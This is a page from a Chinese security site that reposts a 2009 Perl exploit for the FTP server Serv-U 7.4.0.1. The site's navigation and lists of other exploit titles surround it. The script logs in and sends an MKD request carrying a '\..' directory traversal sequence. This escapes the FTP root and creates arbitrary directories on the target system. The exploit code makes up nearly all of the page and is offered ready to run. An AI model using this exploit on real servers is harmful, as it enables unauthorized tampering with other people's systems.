首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
来源:http://www.shell-storm.org 作者:Salwan 发布时间:2009-03-17  
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}

$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";

sleep(3);
close($socket);

print "[+]Done! directory $dir has been created\n";

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Serv-U 7.4.0.1 (SMNT) Denial o
·VLC 0.9.8a Web UI (input) Remo
·Morovia Barcode ActiveX 3.6.2
·Rosoft Media Player 4.2.1 Loca
·GeoVision LiveAudio ActiveX Re
·Mozilla Firefox 3.0.7 Onbefore
·JDKChat 1.5 Remote Integer Ove
·WinAsm Studio 5.1.5.0 Local He
·POP Peeper 3.4.0.0 Date Remote
·Gretech GOM Encoder 1.0.0.11 (
·Traidnt up 2.0 (Cookie) Add Ex
·Google Chrome 1.0.154.48 Singl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved